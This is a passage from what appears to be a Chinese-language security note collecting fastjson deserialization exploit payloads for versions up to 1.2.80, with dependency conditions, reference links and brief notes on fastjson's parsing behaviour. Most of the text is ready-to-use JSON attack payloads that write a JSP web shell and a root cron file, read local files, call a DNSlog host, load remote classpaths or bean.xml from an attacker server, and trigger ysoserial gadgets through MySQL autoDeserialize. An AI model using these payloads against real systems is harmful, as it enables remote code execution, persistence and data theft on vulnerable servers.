"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}

fastjson<=1.2.68,commons-io-2.0至2.6

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}

fastjson<=1.2.68,commons-io-2.7至2.8

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}

fastjson<=1.2.68,commons-io<=2.4,完整payload太长,见下文或者最后。

https://su18.org/post/fastjson-1.2.68/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

{
"su18": {
"@type": "java.util.Currency",
"val": {
"currency": {
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "2.txt",
"encoding": "UTF-8"
},
"outputStream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writeImmediately": true,
"bufferSize": 4,
"charsetName": "UTF-8",
"writer": {
"$ref": "$.currency.writer"
}
},
"charInputStream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"charset": "UTF-8",
"bufferSize": 4,
"s": {
"@type": "java.lang.String"
"test*****************"
},
"teeInputStream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.currency.charInputStream"
},
"closeBranch": true,
"branch": {
"$ref": "$.currency.outputStream"
}
},
"inputStream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"$ref": "$.currency.teeInputStream"
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [0, 0, 0*****************]
}]
}
}
}
}
}

fastjson<=1.2.68,commons-io

自寻us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [36]
},{
"charsetName": "UTF-8",
"bytes": [49]
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}

fastjson<=1.2.68,commons-io

https://b1ue.cn/archives/506.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/test"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [98]
}
]
},
"address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},
"xxx": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://aaaxasd.g2pbiw.dnslog.cn/"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]
},
"zzz":{"$ref":"$.xxx.BOM[0]"}
}

fastjson<=1.2.68,commons-io<=2.4,aspectjtools-1.9.6,commons-codec-1.6。完整payload太长,见下文或者最后。

http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type": "org.apache.commons.codec.binary.Base64InputStream",
"in":{
"@type":"org.apache.commons.io.input.CharSequenceInputStream",
"charset":"utf-8",
"bufferSize": 1024,
"s":{"@type":"java.lang.String""TVqQAAMAAAAEAAAA*********************"
},
"doEncode":false,
"lineLength":1024,
"lineSeparator":"5ZWKCg==",
"decodingPolicy":0
},
"branch":{
"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath":"1.txt"
},
"closeBranch":true
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes":[84, 86, 113, 81, 65, 65, 77, 65*********************]
}],
"x":{"$ref":"$.bOM"}
}

fastjson<=1.2.68,mysql-connector-java-5.0.2-5.1.5,仅SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.ReplicationConnection",
"masterProperties": {
"HOST": "127.0.0.1",
"user": "yso_CommonsCollections4_calc",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
},
"slaveProperties": {
"HOST": "127.0.0.1",
"user": "yso_CommonsCollections4_calc",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}

fastjson<=1.2.68,mysql-connector-java-5.1.1-5.1.49可SSRF 5.1.11至5.1.48可反序列化

自寻us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections4_calc",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}

fastjson<=1.2.68,mysql-connector-java-6.0.2-6.0.3可反序列化

自寻us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

1
2
3
4
5
6
7
8
9
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc"
}
}
}

fastjson<=1.2.68,mysql-connector-java-8.0.19可反序列化,>8.0.19可SSRF

自寻us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": ""
}],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"user": "yso_CommonsCollections4_calc",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
10.1.2.80:

分析不动了…贴几个写的很好的大佬然后下面大概讲一下环境和利用链以及版本还有payload

具体分析感兴趣的师傅可以看这三个师傅的文章

原理跟1.2.68有点像

[fastjson 1.2.73-1.2.80漏洞分析](https://blog.ninefiger.top/2022/11/11/fastjson 1.2.73-12.80漏洞分析/#3-6-aspectjtools利用链)

[沉浸式体验 fastjson1.2.80的Groovy利用链 | 少年锦时](https://blog.s8ark.top/2024/01/30/沉浸式体验 fastjson1.2.80的Groovy利用链/#一、-漏洞绕过原理)

fastjson 1.2.80 漏洞浅析及利用payload - PYkiller - 博客园

Groovy利用链

( 1.2.72 , 1.2.80 ]

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>3.0.8</version>
<type>pom</type>
</dependency>

可以打Groovy利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}

{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8080/"
}
}
JPython + pgsql + springContext利用链

版本:<=1.2.80 1.2.68-1.2.76之间也可以

依赖类:

  • org.python.antlr.ParseException
  • com.ziclix.python.sql.PyConnection
  • org.postgresql.jdbc.PgConnection
  • org.springframework.context.support.ClassPathXmlApplicationContext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependency>
<groupId>org.python</groupId>
<artifactId>jython</artifactId>
<version>2.7.0</version>
</dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.22.RELEASE</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
{
"a": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"b": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
},
"c": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type": "org.postgresql.jdbc.PgConnection",
"hostSpecs": [
{
"host": "",
"port": 0
}
],
"user": "user",
"database": "test",
"info": {
"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg": "http://127.0.0.1:8889/bean.xml"
},
"url": ""
}
}
}


JPython + mysql Connection利用链

适用版本:<=1.2.80

依赖类:

  • org.python.antlr.ParseException
  • com.ziclix.python.sql.PyConnection
  • mysql-Connection版本5.1.11 - 5.1.49: com.mysql.jdbc.JDBC4Connection
  • mysql-Connection版本6.0.2、6.0.3:com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection
  • mysql-Connection版本8.0.19:com.mysql.cj.jdbc.ha.ReplicationMySQLConnectioncom.mysql.cj.jdbc.ha.LoadBalancedConnectionProxycom.mysql.cj.conf.url.ReplicationConnectionUrl
mysql Connection 5.1.11-5.1.49反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
{
"x": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
},
"c": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "VPS",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsBeanutils1_open /System/Applications/Calculator.app",
"password": "none",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "name",
"url": ""
}
}
}

mysql Connection 6.0.2/6.0.3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
"x": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
},
"c": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString":{
"url":"jdbc:mysql://VPS:3306/name?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsBeanutils1_open /System/Applications/Calculator.app"
}
}
}
}
}


mysql Connection 8.0.19
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
{
"x": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
},
"c": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": ""
}
],
"slaves": [],
"properties": {
"host": "VPS",
"port": 3306,
"user": "yso_CommonsBeanutils1_open /System/Applications/Calculator.app",
"dbname": "root",
"password": "root",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
}
}


OGNL + Commons-io

适用版本:1.2.73~1.2.80

1
2
3
4
5
ognl.OgnlException 继承 java.lang.Exception
- ognl.OgnlException中setEvaluation方法的参数是ognl.Evaluation类型
- ognl.Evaluation的构造方法中,参数node的类型是ognl.SimpleNode;ognl.ASTMethod是ognl.SimpleNode的子类
- ognl.ASTMethod的构造方法中,参数p的类型是ognl.OgnlParser
- ognl.OgnlParser的构造方法中,参数stream的类型是InputStream类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
{
"x": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"z": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String""something>8192"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "D:/tmp/shell.jsp",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,
82
]
}
]
}
}
}
},
"u": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.z.node.p.stream.delegate.reader.is.input"
},
"branch": {
"$ref": "$.z.node.p.stream.delegate.reader.is.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,
82
]
}
]
}
}
}
},
"v": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.z.node.p.stream.delegate.reader.is.input"
},
"branch": {
"$ref": "$.z.node.p.stream.delegate.reader.is.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,
82
]
}
]
}
}
}
},
"w": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.z.node.p.stream.delegate.reader.is.input"
},
"branch": {
"$ref": "$.z.node.p.stream.delegate.reader.is.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,
82
]
}
]
}
}
}
},
}


ognl & io & aspectj & commons-codec

1.2.73-1.2.80 ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6 写入复杂文件结构,文件需要大于8kb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type": "org.apache.commons.codec.binary.Base64InputStream",
"in":{
"@type":"org.apache.commons.io.input.CharSequenceInputStream",
"charset":"utf-8",
"bufferSize": 1024,
"s":{"@type":"java.lang.String""文件baes64"
},
"doEncode":false,
"lineLength":1024,
"lineSeparator":"5ZWKCg==",
"decodingPolicy":0
},
"branch":{
"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath":"/var/spool/cron/root"
},
"closeBranch":true
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes":[85, 48, 104...文件bytes]
}],
}
}
}
},
"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}
}

aspectjtools利用链

版本:1.2.73~1.2.80

AspectJ用于aop开发,spring的业务中经常使用,帮助面向切面编程,因此这个依赖也可能是经常出现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
},
"z":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/tmp/flag"
}
}
JPythonPoc的版本适配补充
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

"a": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"b": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
}

[fastjson 1.2.73-1.2.80漏洞分析](https://blog.ninefiger.top/2022/11/11/fastjson 1.2.73-12.80漏洞分析/#3-3-JPython-pgsql-springContext利用链)

fastjson 1.2.80 漏洞浅析及利用payload - PYkiller - 博客园

11.1.2.83

看了看网上的好像指向的就是原生反序列化?

可以参考下面笔者写的这里不重复描述了

fastjson的一些特性或者说注意事项:

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

可能拿过来当ctf的某种考点:

fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。

image-20250529194515158

Fastjson漏洞的对抗史

  1. 1.2.24版本

    • 没有任何过滤器,可以使用任何类进行反序列化攻击。
    • 典型攻击类:TemplatesImplJdbcRowSetImpl
  2. 1.2.25版本

    • 引入checkAutoType机制,加入黑名单和白名单。
    • AutoType机制开启
      • 先检查白名单,白名单中的类直接加载。
